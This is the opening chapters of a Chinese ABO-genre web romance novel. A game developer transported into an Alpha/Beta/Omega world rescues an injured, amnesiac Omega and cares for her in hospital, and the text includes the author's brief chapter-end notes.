《我真没想把黑莲花O捡回家》 第1章 第一章 “嗡,嗡……” 震动的手机贴着浴缸,带来一阵微弱不可察觉的涟漪。 浴室潮湿的雾气如一层白翳,阴白的蒙在女人的脸上,她白皙的脸颊蘸着水珠,透着淡淡的粉色,浓密的眼睫低垂着,好似一场沉睡的永梦。 “吁!” 忽的,一口剧烈的喘息划破了这份被挤满浓稠热气的安静。 虞清从梦中惊醒,抬手抹了把脸,只觉得周围的热气闷得她快要不能呼吸。 救命…… 浴室里掀起一阵巨浪,地板上满是溢出来的水。 虞清脚步虚浮,头晕眼花,在浴室里费了半天劲儿才拉开了门。 瞬间,大片的新鲜空气涌了进来。 虞清着脱力的坐在小板凳上,大口呼吸,怀疑人生。 怎么回事,她不记得昨晚有泡澡啊。 谁给她放的水? 谁给她脱的衣服? 谁给她放了这个她一直舍不得用的浴球…… 还有,你这个手机是不是震动的时间有点长了。 虞清的疑问三连被不停在震动手机打乱。 她回头睨了一眼自己的手机,咬牙接起了电话:“您好?” “虞小姐,终于联系到您了,我们观察到您最近在咨询Beta意外险,我司有一款……” 陌生的声音带着推销员的职业假笑,殷勤热切。 只是听到Beta这个词,虞清就扶上了脑袋。 此刻她有种小说设定照进现实的羞|耻与荒谬。 但这不妨碍她为此斤斤计较:“我为什么是Beta?我怎么不是Alpha!” 许是推销员也没想到会碰到这样的问题,电话那边传来了一阵沉默,接着对方告诉虞清:“不好意思虞小姐,我们这边查看了一下,您直至成年都未分化,的确是Beta。” “哈?”虞清根本就没想到对方会这样认真的回答自己,瞬间挂掉了这通奇怪的电话。 是她加班加到脑袋坏掉了,还是这个世界疯了,现在保险推销都这么离谱的吗? 他们到底是怎么做到一本正经的念出abo设定的啊? 虞清难以置信,但接着让她感到更加难以置信的是——她的手机不对劲。 这不是她的手机。 她刚刚是怎么能解锁的啊! 而且为什么这里面的好多app她闻所未闻,任何社交软件的好友都没有她熟悉的名字。 虞清头皮一阵发麻,觉得事情不对劲起来。 她飞速翻看起手机,发现另一件让她两眼一黑的事:她在翻看app的用户个人资料时,赫然看到自己名字旁标着一个烫银“Beta”标志。 Beta…… 这不能是她以为的那个Beta吧。 她不是穿到abo世界了吧。 “嗡。” 手机一声振动,给虞清送来了最有力的证据。 【市政短信提醒,尊敬的虞清女士,您这月的Beta补贴已到账,请及时确认……】 “个十百千……一万。” 看着面前明晃晃的四个零,虞清缓缓发出一声感叹:“靠北。” 她真穿到abo世界了。 虽然学生时代虞清看过不少小说,但她对abo设定也不是很了解。 毕竟每个太太都有她们自己的私设,记太多也没用,她只挑了几个基础设定记。 比如Alpha和Omega会因为信息素互相吸引。 比如Beta没有分化,没有腺体,闻不到信息素的味道,也不会受影响。 在虞清看来,Beta就像可以捏成任何形状的橡皮泥,勤勤恳恳工作的工蚁,没有味道的海绵小蛋糕。 所以也没人告诉她,当Beta有这么多钱拿啊! “就说嘛,abo世界里受到高档待遇该是我们Beta才对。要是没有我们Beta,你们Alpha、Omega怎么谈轰轰烈烈的恋爱。”虞清捧着自己的新收入,很自然的就接受了自己成为abo世界最不起眼的Beta这件事。 毕竟虞清作为新时代的游戏码农,拼死拼活996,今年才勉强月薪税后过万。 而在这个世界,她只凭每月给她的补贴就跟过去工资持平,搁谁谁不迷糊啊! 再说了,她虞清一个初来乍到的异乡人,一没系统,二又不确定自己是不是穿书,Beta的身份起码能保护她不受信息素影响。 虽然不能做A做O都精彩,但当Beta有多多的钱拿,只要好好工作,财富自由指日可待! 凉风贴着地面吹来,虞清感觉一阵神清气爽。 她步伐轻盈的走到镜子前,准备欣赏一下自己在这个世界的盛世美颜,却不想镜子前是一张跟原世界的她一模一样的脸。 那一双杏圆的眼睛忽闪忽闪的,盛着镜子折射的灯光,明亮又干净。 它看起来充满了好奇,又格外失落。 虞清认认真真的盯着镜子,发现自己这张脸连她过去眼下那两颗痣都没少。 虽然说虞清这张原装脸足够漂亮,但她都来abo世界了,也不给她换张脸。 她还没当过明艳大美人呢。 “小气。”虞清摸摸自己的脸,对着镜子里的自己撅了下嘴。 “咕噜~” 似乎是附和,又或者是提醒。 虞清的肚子叫了。 虞清低头,就看到自己小腹瘪瘪,一副很久没有进食的样子。 难怪她刚刚觉得浑身乏力,头晕目眩。 空腹泡澡,她不晕谁晕。 天大地大,吃饱最大。 适应了自己新身份的虞清决定出去觅食,顺便考察一下这个世界的物价。 千万不要告诉她,这一万块钱在这个世界根本不是什么大数目! 事实证明,这个世界的这个世界的物价跟虞清原世界差不多。 菠萝烤的汁水飘香,浸了菠萝汁的烤肉滋滋冒油。 虞清的味蕾得到了极大地满足,钱包也没有受伤,双人烤肉套餐只花了一百六十九。 “目前看来两个世界的区别只是多了个abo设定。”虞清吃着肉,嘴里念念有词,还不忘低头看手机里原身的基本资料。 原身也叫虞清,和现在的虞清一样都是游戏公司的职员,同样的也是24岁。 只不过原世界的虞清大学毕业就上班了,现在已经做上了小组长;abo世界的虞清研究生刚毕业,现在还是个初入职场的新人,月入五千五。 虽然要从头再来,但自己有从业经验,应该能少走些弯路。 而且也多亏了原身读了研究生,不然按照她的大学学历,政府的Beta补贴只有五千块。 “书中自有黄金屋啊。”虞清吃饱喝足,愉快的拍了拍肚皮。 夜晚街景繁华,盛夏茂密的树叶吞没路灯,剥落的光亮好像落入城市的星星。 虞清托腮欣赏着自己的新居住地,接着就看到有水渍淅淅沥沥的砸在窗户上。 玻璃上倒影的人脸茫然一怔,接着意识到—— 下雨了。 虞清没有带伞,烧烤店给了她一把透明伞。 她撑着伞,哼着小曲,步伐轻松。 烤肉的香气飘散在雨水中,滴到路面的水珠像丰盈的油脂,这是一场属于Beta的丰盛狩猎。 新世界的第一天对虞清来说还算不错,小雨扫去了夏日的闷沉,让人心情愉悦。 她想明天还是休息日,可以先睡个懒觉再熟悉工作,然后制定个三年计划,升职加薪,重新坐回小组长的位置。 “没错,就这么办!” “滋滋……” 虞清干劲十足,一侧巷口的灯对着她的眼睛突兀的闪了一下。 虞清蓦地停下了步子,下意识的朝巷子里看去。 雨水穿过断断续续的光亮,一帧一帧的,好像被分解了一样。 穿过老旧垂落的电线,丢弃在路边的老式家具四仰八叉的躺着。 像是废墟。 又像是庇护所。 虞清盯着沙发看了很久,直到她注意到阴影里有束毛茸茸的东西垂在地上。 它茂盛粗壮,却又奄奄一息,好像小狗病恹恹的尾巴。 “恋恋。” 念头一闪而过,虞清的心脏突然跳得急切起来。 那是虞清在原世界养的小狗—— 一条因为生病严重,被人遗弃的串串金边边牧。 那是5月20号的傍晚,病入膏肓的小狗拼尽全力爬向唯一为她驻足的虞清,从此她们成了彼此唯一的家人。 只可惜这样的日子只有不到两年。 在虞清终于有钱租下一套房子的时候,在她终于不用让恋恋趴在潮湿的阳台等自己的时候,恋恋就因为先天性心脏病先离开了她…… 恋恋…… 虞清捏着伞飞快的跑进了巷子,溅起的水花打湿了她的裙摆,一层一层,比星光潋滟。 既然这个世界的她才刚刚工作,既然这个世界和她原本的世界构造相似。 那么为什么,在这个世界恋恋不能是还活着的呢? “恋恋!” 虞清的尾音在急促的喘息声中激动上扬,她撑着伞,一把掀开了的沙发上破纸壳。 轻盈的水珠在空中画出一道道闪烁的路径,在昏暗的巷子里剥下光点。 雨幕中有沉重而艰难的呼吸声,好像生命在死亡的边缘苦苦挣扎。 虞清期待的,是看到一只和恋恋一模一样的小狗。 而不是一个躺在湿软破烂的纸壳下,浑身湿透的女人。 虞清愣住了。 女人瘦得苍白,贴着沙发的背脊能看到凸起的骨头。 同时又是那样的纤细,蜷缩的身形看起来比恋恋还要小一圈。 那茂盛又奄奄一息的“尾巴”是她的头发,失落的挂在她的脸上。 她瓷白寡淡的眉头皱成一团,看不到的痛苦把她精致的五官打碎。 周围没有光,雨珠落在虞清的伞上发出啪嗒啪嗒的声音。 明明它渺小的没有力量,却在虞清的脚下砸出血腥的味道。 这不会是这个人身上的味道吧…… 虞清脑袋嗡的一声:她这是误入了什么凶杀现场。 她才刚来到这个世界,还不想这么快就领盒饭啊! 虞清登时一阵慌乱,脑袋绕着巷子左看右看,生怕有杀手从黑暗处突然跳出来,随手就给她抹了脖子。 只是还不等虞清为了自保而逃跑,她的耳边就传来一阵破碎的呼吸。 “……咳,咳。” 更浓郁的血腥扩散在潮湿的水汽中,Beta嗅不到开在血腥里的白茶花香,只撑着一把伞轻轻向她倾斜。 “你……” 俄而。 风雨飘摇中,虞清的眼里撞进了一双摇摇欲坠的眼睛。 那精致的一张脸苍白的不成样子,失焦的,无望的。 可她婴儿般浅蓝的瞳子又好像难以一遇的珍贵宝石,无言的注视着虞清,让人无法逃跑。 动物的体温通常比人要高,所以小狗即使被雨水淋湿,爪子搭在膝盖上时,掌心还是热热的。 可人类不一样。 雨水把女人身上的温度都冲刷掉了,她的手凉得彻骨。 那瘦削的指节揪着虞清的裙摆,就快嵌进她的裙摆,她的身体。 她吐出热气,就好像把浑身仅剩的热意全都捧给了虞清。 要她,救救她。 鸽:只是伞倾斜了一瞬,就要为此赔上后半生了呢。 虞·懵然不知·清:妈妈,我捡到狗了耶! . 评论红包,明天更新发~ 作者有话说 显示所有文的作话 第1章 第一章 第2章 第二章 月亮倒挂在夜空,星光寂寥。 交叠不休的急救车鸣笛穿过细密的雨丝,或许医院永远都不存在宁静的夜晚。 “医生!快来救救我女朋友!” “有医生吗!快来救命啊!” “医生,他拿抑制剂给自己脖子划了个口子。” …… 这夜连绵不断的雨水把世界都打湿了,急诊的消毒水透着潮湿气。 虞清作为Beta嗅不到空气中不断被空气处理器疯狂洗涤的信息素,只剩下手术室的红灯在她的眼眸长亮。 今晚这座城市好像发生了什么严重的事情,虞清坐在急诊大厅的椅子上,已经看到数不清信息素失控的人。 虞清看着瓷砖上连绵不断的血滴,下意识的抬手拂过膝盖。 尽管那被拼尽全力捧到她面前的热意已经渐渐变得潮湿,但她的手始终记得那个轻的好像羽毛的人。 雨水把她打湿在路边,让她没有办法随便被一阵风吹走。 就好像专门为了等虞清的到来。 “你还在啊。” 回忆中,手术室的门自动打开。 医生看到坐在外面的虞清,有些诧异。 “昂。”虞清点头起身,后知后觉自己其实在把女人送到医院后就可以走的。 而医生在看到虞清点头示意,明显松了口气,甚至还有些感激:“太好了,今天晚上被化工厂爆炸波及到的Alpha、Omega实在是太多了,我们实在是分身乏术。如果你不在,这位Omega小姐就棘手了。” “很严重吗?”虞清被医生的话吸引了注意力,都忘了说她其实是想走的。 医生叹了口气,跟虞清透露:“很严重,今晚东城爆炸的化工厂是抑制剂厂。爆炸范围很广,信息素原料泄露严重,咱们作为临市,很多对信息素敏感的Alpha和Omega都被影响了。” 虞清吃了一惊:“所以她也是被波及到的Omega吗?” “**不离十。”医生点头,“我们检测到这位Omega小姐有受不知名信息素影响,进入发热期的迹象,所幸她没有真进入发热期,不然就麻烦了。” 只是这么说着,医生又认真叮嘱虞清:“不过等这位Omega小姐醒来后你最好问问她发生了什么,如果不是这个原因,一定要报警。” “您放心。”虞清点头,正义感和责任感都在燃烧。 “那我给你说一下这位Omega小姐的情况,照顾她的事就先拜托给你。”医生打开电子记录手册,“轻微脑震荡,多处擦伤、软组织挫伤,送来时身上的血是由于左小臂被钝器划破,伤到了大动脉。出血量吓人,但没有生命危险,也不会有后遗症。” “这两天不要沾水,饮食清淡,缝合伤口四天换一次药,软组织挫伤处每天早晚涂药……” 医生说着,虞清就在敲备忘录。 等她交代完,虞清也跟着记录完了。 “手速不错啊。”医生看着虞清的备忘录,竖起大拇指。 虞清嘿嘿一笑笑:“敲代码,手速不快不行啊。” “陆医生,病人。” 这么说着,医生胸口的急诊联络器就疯狂闪烁起来。 轻松氛围没有持续下去,医生闻言转身飞奔。 虞清寻着医生的身影看去,就见急诊大厅外停着五辆救护车,鲜血染得她心口沉甸甸的。 “怎么会有这样严重的事故。” 静坐在病床前,虞清脑袋里一直回荡着这句话。 门外医生护士匆匆忙忙的身影不知道又去处理哪起被波及的事故,病房倒是安静有序,就好像在另一个世界。 虞清叹了口气,手里捏着的纸被吹出细微的声响。 她忙按住了纸张,小心翼翼的维护着此刻的安宁。 刚刚才办理入住的时候,医院也在统计东城工厂爆炸的受害者。 因为虞清不确定Omega小姐是不是受到波及的Omega,也不知道她的名字,护士就先给了虞清登记表,让她等确认后,再填好交给她。 名字啊…… 月光透进病房,落在虞清守着的病床上。 Omega小姐还在睡着,干净的面庞落在皎洁的月光下,厚厚的纱布包裹着她左侧的小半张脸,安稳平静,又好像刚刚经历了生死一线。 虞清看了看手里的登记表,也想知道这个人的名字叫什么。 她会是哪本abo小说里的主角吗? 自己又会在她的人生中扮演怎样的角色呢? 过分浪漫主义的想法在虞清脑海中蔓延,叫她在床边慢慢托起了自己的下巴。 月影寥寥,冷调的肤色在光影下白的太干净,都算不上拒人于千里之外,虞清在一旁瞧着,靠在床侧的手指探出又收回,妄想僭越,又不忍玷污。 这跟虞清回忆里,Omega小姐一点点被消融在雨幕里的样子完全不同。 当时她真的流了好多的血,叫虞清抱起她来的时候,以为她浑身只剩下了骨头的重量。 那湿黏黏的马尾在空中扫荡,像是小狗垂落的尾巴,让虞清无端想起她去世的小狗。 恋恋啊…… 就在虞清即将陷入回忆的时候,一双婴儿蓝颜色的眼睛闯入了她的视线。 Omega小姐醒了。 她冷淡的目光好似一柄利剑,叫虞清心口顿时一阵乱跳。 这世界上再也没有比偷看人被人抓现行还尴尬的事情了。 虞清滚了下喉咙,尴尬都来不及尴尬,就听到一道清冷的声音在她耳边响起。 “这是哪里?” 不知道刚刚虞清看到的画面是不是做贼心虚的幻觉,此刻她在Omega小姐的眼里,并没有看到那种锐利的攻击性。 反而是那婴儿蓝色的瞳子,有种干净无邪的澄澈清明。 就好像新生出来的雏鸟。 虞清心神一动,仰面朝上的手掌好似施施然落进了一团蓬松的羽绒。 只是等她攥了下手,空空荡荡的掌心就提醒她回神,跟面前人介绍:“这里是医院,你受了很严重的伤,我刚才在路边捡到了你,就给你打了120。” 虞清言简意赅,Omega小姐听着却露出一种茫然。 就好像……她完全不记得这回事。 想想也是,那个巷子那么昏暗,她又快死了,怎么会记得发生了什么呢? 虞清垂了一下眼睛,不知道怎么的有些失落。 “我知道你救了我,可我好像……不记得我为什么会受伤。” 这声音太茫然,好像迷失在了这个下着雨的世界。 她轻轻摇摇头就挥散了虞清的失落,却没办法帮自己找到记忆的落点。 眼前是一片空白。 虞清可不觉得这是件好事,忙比划起来,尝试帮对方回忆:“工厂爆炸你有没有的印象?火光,烟雾,信息素,轰的一声。” 虞清认真的看进Omega小姐的眼睛,那双平平无奇的黑色眼睛腾得冒出一阵火光。 Omega小姐兀的攥了下手,爆炸的炽烤感停在她的脸上,叫她点了下头:“好像……有。” “那你就是被东城的工厂爆炸波及了。”得知Omega小姐不是因为其他原因伤成这样,虞清松了口气。 她接着拍了拍Omega小姐的肩膀,告诉她:“没事了,都过去了,这里很安全。” ……安全。 坐在病床上的人默然重复着这两个字,她好像不是很明白安全的意思,眼神空洞洞的。 只是等虞清的掌心越过冷气,覆在她的肩膀上,她才像是真的明白了“安全”的意思。 或许带给人安全感的从来不是环境。 而是另一个人。 虞清当然不会注意到自己随手一做的动作有什么意义,接着就拿过一旁的住院表:“你叫什么?医院在统计被波及的受害者,后期可以政府申请补助的,我帮你填。” 只是虞清没料到,她话音落下,病房里就按下了长久的沉寂。 Omega小姐安静的呆坐在床上,细密的眼睫像是乌鸦垂落的翅膀,盖住了她瞳子浅蓝色的光亮。 她叫什么…… ——:“你给我记住,你叫江念渝,是江家的女儿!你这辈子都不能忘记!你要是忘了,就等着像我一样被人抛弃吧!你记没记住!记没记住!!” 女人尖锐的声音像一把锐利的军刀,她掐着她的脸,死死的要她记住她的名字。 Omega小姐,不,应该叫她江念渝,顿时感觉到一阵恐惧,整个人都绷紧了。 “……唔。” 记不起来,头疼欲裂。 痛苦挤过江念渝嘴巴的缝隙泄露出来,沉重的折磨着她。 这样的反应吓了虞清一跳,但接着她就明白过来这位Omega小姐陷入了失忆的头疼中。 “想不起来就不要想了,没有名字也没关系。”虞清忙起身扣住了江念渝的手,阻止她失去的记忆伤害她。 一瞬间,江念渝失控的心跳缓了下来。 她慢慢从头疼欲裂中缓过来,视线里只剩下虞清扣在她手腕上的手。 骨骼分明,纤长白皙。 就像,不,就是她失去意识前看到的那只握着伞把的手。 颤抖的吐息落在虞清的手背,她注意到江念渝抬起的眼角泛着红意。 只是,这就是她刚刚失控仅剩的破绽了。 她平静的太快,好像没有多余情感的程序。 “那,”江念渝停顿一下,用很淡的声音问虞清,“我叫什么?” 她需要一个名字,就像是一段程序需要一个代号。 虞清沉思,接着脱口而出:“不知名小姐!” 她脑回路清奇,期待的看着江念渝:“医生说你有点轻微脑震荡,我估计失忆可能也跟这个有关,过段时间就好了。在你想起你名字之前,我就先暂时喊你‘不知名小姐’吧。” “不知名小姐。” 轻轻地,江念渝将这五个字念得很慢,像是将每一个字都在她的嘴巴与牙齿间转了一圈。 没有人知道她叫什么,没有人强迫她记住不想记住的东西。 好像有什么东西从江念渝的胸口搬开了,让她突然就有了喘息的空隙。 不知名,也是名字。 “好,我就叫这个名字。”江念渝跟虞清点头。 肉眼可见的,她的眼睛看起来比刚刚有了些神采。 虞清瞧着,默默收起了手里的登记表:“登记的事明天我问问护士再说,今晚先好好休息吧。” 这么说着,虞清就在江念渝的床边支起了陪护床。 江念渝看着她利落的铺开被褥,不安与茫然的心不知为何悄悄落了下来。 她对虞清点点头,说:“好。” 雨水噼啪落在窗外,好像砸在透明雨伞上的声音。 这样的声音明显影响不了病房里睡觉的人,虞清均匀的呼吸很快也融入了睡熟的大家族。 只有某个人迟迟没有入睡。 漆黑的病房里,江念渝缓缓睁开了眼睛。 她转头,视线像窗外的那轮月亮,悄无声息的攀上了虞清的脸。 这人睡得很熟,吐息均匀,唇瓣微张。 她抱着枕头压着脸,一副毫无戒备的样子。 江念渝那双沉寂的眼睛里,写着茫然,写着困惑,像被雨痕划过的窗户,轻轻皱了起来。 医院是城市里最洁净的地方,任何信息素的味道都会被冲洗掉。 可为什么这个Beta唇间的气息,从她醒过来开始,就这样的令她无法忽略。 好想尝一尝。 江念渝:老婆,你闻起来香香的。 . 今天依旧是留言红包! 作者有话说 显示所有文的作话 第2章 第二章 第3章 第三章 浸满雨水的凉风钻过老旧的窗户,吹动起床边围起来的帘子。 虞清的吐息合着风的节奏,缓缓穿过江念渝的病床,零碎的落在她的鼻尖。 江念渝失去了记忆,连带着有些常识也忘了。 不然她就会意识到,Beta根本不应该有味道,而不是贪婪的在空气中攫取。 那味道好干净,比起周遭吸饱了水汽的潮湿空气,虞清的味道更加干净,叫人望着窗外漆黑的夜色,仿佛能看到远处升起来的太阳。 蒙蒙亮的天,总是充满希望。 江念渝不动声色的总结着,随之滚了下喉咙。 比起Alpha和Omega能用现实中相应物品拟态的味道,这个Beta身上散发的气味虽然缥缈,却似乎更加可口。 “唔……” 一声微弱的哼唧突如其来,虞清唇上淡淡的粉色随着呼吸轻轻张合。 有好几次江念渝看向虞清,都觉得她丰盈饱满,毫无戒备的,仿佛很好欺负的样子。 真有那么好欺负吗? 江念渝眼瞳微眯,冷清的眼神里慢慢透出了Omega最原始的欲|望。 疏影缭绕,床边的影子一进一退,好像蜗牛的触角。 江念渝的手指悬在半空中,每朝虞清徐徐吐息的唇瓣近一寸,就要退回去半寸。 她想要触碰虞清的唇,却总在最后一秒被理智控制住。 那婴儿蓝的眼睛极具迷惑性,好像好奇的孩子在探索新世界,却又透着纠葛的贪婪。 循环往复,不知疲惫。 “为什么又让我加班啊,狗屎,都是狗屎!” 虞清的愤怒突如其来,字里行间全是对加班的憎恶。 江念渝明明知道虞清是在说梦话,可眼神还是顿时变得茫然无措,像只偷觑漏了馅的兔子,悬着的手指下意识的弹了一下。 没人会注意,那无限靠近的手指似乎有那么一瞬贴在了虞清的唇上。 高喊过的唇瓣沾了点唾液,温温凉凉的。 江念渝抬起另一只手握住自己的手背,清冷的瞳子罕见的表现出了木讷,就这样注视着像是被烙下什么印记的指腹。 她碰到了。 可是什么味道呢? 江念渝凑近了自己的手指嗅嗅,苍白的凉风下,她什么都没有感觉到。 明明上一秒还因为可能露馅而乱跳的心脏,这一秒又变得空落落的了。 江念渝不知道自己这是怎了,神色比意识到自己失忆了还要茫然。 她低垂着眼睫,空荡荡的掌心叫她失落的理智回来了。 当理智重新凌驾于Omega的原始本能上,江念渝再次转头看向虞清时,她的神情就恢复了冷清。 月夜寂静,好像什么事都没有发生。 虞清睡得四仰八叉,丝毫不知道自己正被人觊觎着。 这人喊完了,就忘了,也没影响她的睡觉,咂摸咂摸嘴又睡了过去。 怕是明天醒来也不记得自己的嘴巴碰到了什么。 不知怎么的,江念渝的眼睛里闪过一丝庆幸。 她将自己的手指收了收,像是藏起了什么不为人知的秘密。 话说刚刚这个Beta在喊什么? 加班吗? 她很讨厌加班? 她在工作的地方都经历了什么,叫她做梦都还记得,并愤怒不已。 本来江念渝觉得自己该去睡了,可脑袋莫名随着虞清的梦话深入下去。 她有些好奇,又有些怅然。 ——是啊,这里失去记忆没有过去的人只有她一个而已。 她现在拥有的记忆很少,起点是那把主动向她倾斜的伞。 这夜的雨砸的凌乱不堪,自那把伞起,却没有一滴落在她的身上。 好奇怪。 江念渝冷静的在心里庆幸这个人是个Beta。 却又接着失落于,她只是个Beta。 窗外的雨小了些,啪嗒啪嗒的打在窗户上。 江念渝侧身蜷起,下意识的朝虞清所在的那侧近了近。 虞清身上的味道似乎是什么令人放松的魔法,让江念渝嗅着,须臾便沉沉睡了过去。 . 昨晚睡得晚,醒的也晚。 倦怠的飞鸟略过窗户,江念渝才好似被打搅了清梦一般睁开了眼睛。 说来也奇怪,明明潜意识里她笃定自己这夜不会有好梦。 可是直到睁开眼睛,她才发现自己竟然一觉睡到了天亮。 她感觉自己很久都没有睡这样好了。 昨夜一场雨过后,洒进来的阳光都格外干净,叫人觉得放松。 江念渝正要舒一口气,她却猛地注意到一侧的陪护床消失了,连昨晚睡着的人也没有了。 前后不过两秒钟的时间,阳光就变了一种形状,太阳明晃晃的挂在天上,晒得人头脑发懵。 这种惊恐不知道从哪来的,江念渝只知道她心跳的飞快。 “吱呀。” “早上好,不知名小姐,你起床了吗?” 就在江念渝要下床找人的前一秒,她面前的帘子被人从外面拉开了。 一颗毛茸茸的脑袋冒了出来,虞清笑眯眯的看着江念渝:“你醒啦,是不是昨天一天没吃东西,饿醒了?” “医院食堂今天有八宝粥,还有小米粥,你看你想要吃哪个。医生说你要吃清淡点,不过医院自己腌的小咸菜没关系,我多要了几种来,你尝尝有没有你喜欢的。” 虞清一边说,一边把手里提着的食盒放到床头柜上。 她动作利落,给病床上的江念渝支起小桌板,高挑的身形在江念渝身上投下一道忙前忙后的阴影。 虞清看不到,江念渝紧张的神色正不动声色的平静下来。 失去记忆是件麻烦且痛苦的事情,刚刚那一瞬间江念渝感觉她好像漂泊在大海的孤舟。 她看不到前路,更没有归途。 直到清粥的香气飘过来,她看着给她忙前忙后的虞清,才好像看到了她的锚。 “有没有感觉身体哪里不舒服?”虞清掰开筷子,一边摩擦,一边问江念渝。 江念渝摇摇头,主动帮虞清归置堆在桌子上的各式各样的小咸菜。 “那脸颊的伤口会影响你吃东西吗?还有头呢?头还疼吗?”虞清接着又问。 江念渝听着,先是听话的寻上了自己覆着纱布的左脸,接着又感觉了一下脑袋,很快就又对虞清轻轻摇了下头。 这样的动作实在是太乖。 以至于当她垂下的碎发扫过包着纱布的脸,叫人觉得格外心疼。 虞清觉得,大概在失忆前江念渝就是个冷淡不喜欢说话的人,所以才这样用行动代替语言。 而且失忆的人本就对环境感到陌生,还是不要过多的打扰她,让她觉得自在最重要。 只是在这之前,虞清还有件事想稍微确定一下:“那个不知名小姐……你有没有想起点什么,比如你是谁?” 似乎是昨天的头疼,让江念渝对失去的记忆产生了抵触情绪。 她今天面对这个问题,想也没想,就冷淡又任性的回以了否定。 第三次摇头。 床帘围起的空间好安静,虞清的失落肉眼可见。 有的人二十五岁了,经历了社会的毒打,却还是会幻想自己能够拯救谁。 虞清偷偷叹了口气,在心里劝自己这种事情急不得,毕竟失忆是医院都没办法解决的病征。 还是着眼于眼下—— “你想吃哪个?”虞清将桌上的两碗粥推到江念渝面前,让她先选。 小米粥飘着层米油,看起来格外可口。 江念渝感觉自己失忆前对食物很挑剔,手一指就选了小米粥:“这个。” 虞清什么也不挑,在江念渝选完后,就拿走了八宝粥:“那我喝这个。” 窗外落下两只麻雀,你凑凑我,我凑凑你,接着就蹦跳着一起飞走了。 虞清是个嘴巴闲不住的主儿,咬了口包子,就跟江念渝聊天:“我跟你讲,幸好我醒了就往食堂跑,要是再晚一点这些东西就都没了。” 原来是这样。 江念渝咬了口腌渍的黄瓜,爽脆的声音回荡在她的唇齿。 她不动声色的放下心来,觉得今天的早餐是她吃过最好吃的一顿。 ——虽然这是她有记忆以来的第一顿饭。 想到这里,江念渝就意识到什么,忽的一言不发的看向虞清,看的虞清心里打鼓,不自然的眨了眨眼:“怎,怎么了?” “我还不知道你的名字。”江念渝轻声。 阳光落在她婴儿蓝的眼睛上,干净澄澈。 却也清冷薄情。 不知道是身为Omega的缘故,还是有什么别的原因,江念渝的身体里一直有种不安的危机感,尤其是她现在失忆了。 该说是谁都可以吗? 江念渝只希望她所处的环境永远稳定,她周围的人永远不要离开她。 可一早发生的插曲,让昨晚勉强稳定下来的江念渝又产生了动荡。 她这才注意到她还不知道这个Beta的名字。 如果再发生今天早上这样的事情,她甚至都知不知道该怎么找到她。 虞清闻言愣了一下:“我没给你说吗?” 江念渝坐在她对面,认真又执着的点点头:“没有。” “啊昨天太忙了,我给忘了,不好意思啊。”虞清摸了下脑袋,不好意的笑笑。 接着她就放下手里的勺子,认真给江念渝自我介绍:“不知名小姐你好,我叫虞清,黄农虞夏的虞,冬温夏清的清。” 黄农虞夏,冬温夏清。 又是细细咀嚼的一个名字。 江念渝在心里轻念着这几个字,每一个发音都碾着她的喉咙。 日光微微偏斜,落在小桌板上。 上面残羹剩饭,悠闲的早餐时间就这样结束了。 看江念渝吃好在擦拭嘴巴了,虞清才开口跟她说:“那个……还有件事要跟你说。” “昨天事故波及太多人,医院人手不够,待会儿我来给你换药,可以吗?” 听到这件事,江念渝冷淡平静的表情顿了一下。 她失去了记忆,醒来后就感觉浑身都在痛。虽然她还没有仔细检查过身体,但她感觉得到,自己的伤不止表面看到的这几处,她的后背、肩膀没有一处是好的。 ……是她来给自己换药吗? 夏日明媚的阳光炽烤大地,晒红的却是藏在房间阴影里的少女。 “……可以。” 江念渝点过头后,虞清就主动收拾起了小桌板,好给待会换药腾空间。 而就在她收拾碗筷的同时,她耳边也传来一阵布料摩擦过肌肤的声音。 起先虞清没当回事。 直到她抬起头,就见江念渝手指利落,已经把身上的病号服脱了下来。 在虞清的认知里,女孩子的身体永远白皙,永远稚嫩。 江念渝婴儿蓝的眸子干净的不谙世事一般,好像春日里折下的白山茶。 可那厚厚的纱布贴在江念渝的锁骨,缠着她不盈一握的腰肢。 她神色清冷,像是高台上被人恶意磕破的石膏雕塑,又被人拙劣的用自己以为是的修补来修复。 虞清呼吸一滞,她感觉自己好像看到了神迹。 同时又因为另一种原因,心快从喉咙出来了。 她说的换药可不是…… 好像是得这样。 但再,再怎么说也该循序渐进的来不是? 虞清眼睛不知道该看哪里,脑袋里语句乱飙。 这是她紧张焦虑时的毛病,甚至她还趁乱在想——也不知道江念渝是只对自己这样,还是说换做任何人都会。 而我们的神迹小姐似乎并不能理解虞清的反应。 她失去了记忆,好像一并也失去了些其他的东西。 比如对这个世界的感知,比如人与人之间的分寸感,比如布料之下的羞|耻感…… 她表情平静,眼神冷淡,看着刻意回避自己的虞清,轻轻歪了下脑袋。 仿佛无声的审判,叫人觉得自己的面红耳热都是因为自己思想龌龊。 “你……” “唰。” 江念渝刚要出声,接着就被忽然钻进来的风打断了。 帘子在动,一个梳着双马尾的小女孩笑嘻嘻的钻到了江念渝的病床前。 这小孩看起来天真无邪,眼睛却毫不避讳的看着江念渝,一幅稀奇打量的神态。 虞清顿时意识到了什么,一把将江念渝护在了身后。 没人听到刀子划过布料的声音,江念渝望着面前挡过的背影,转手将小刀藏了起来。 这动作自然的像是江念渝的本能,如果虞清晚来一步,刀子就会抹过小孩的手臂,或者脖颈。 而接下来的动作,江念渝也无法辨别,是不是也同样出于她的本能—— 受到惊吓的Omega从后面揪住了虞清的衣角,她清冷柔弱的声音贴着虞清的耳朵,怯怯的跟她讲:“虞清……害怕。” 虞清:我那柔弱不能自理的Omega。 . 今天依旧评论红包[亲亲] . 小鸽今天终于想起来把段评开啦ovo 作者有话说 显示所有文的作话 第3章 第三章 第4章 第四章 这是江念渝第一次喊虞清的名字。 她轻轻弹舌,“虞清”两个字就蹭过她的牙齿,每个发音都被她咬得清楚,却又惶惶不安。 扑簌簌的热气顺着虞清的耳廓落下,她受不了痒,更受不了这种无法形容的麻,下意识回避。 结果就是她看到背后的人正揪着自己的衣摆,根根分明的骨节嵌进衣摆里,跟昨天她向自己求救时几乎一样。 她说她害怕。 虞清心口被戳了一下,江念渝羸弱的声音像是小狗瑟瑟的呜咽,叫她一下挺起胸膛,站出来给她撑腰。 “小孩,谁允许你随便闯进别人的病房的!”虞清严厉呵斥,表情严肃。 小女孩看着虞清的脸愣了一下,瞬间变成了怯怯的模样:“姐姐别生气,我找不到妈妈了。” 虞清可不觉得小女孩刚才那副神色是在找妈妈:“你觉得刚才的样子像是在找妈妈吗?” 小女孩见谎言被拆穿,咬了下嘴唇。 接着她就像是又想到什么,伸手就去拉虞清的手:“那姐姐可不可以跟我一起去找我妈妈,我怕再走错病房。” 小女孩说着,就闪着双大眼睛朝虞清看去,好一副可怜的样子。 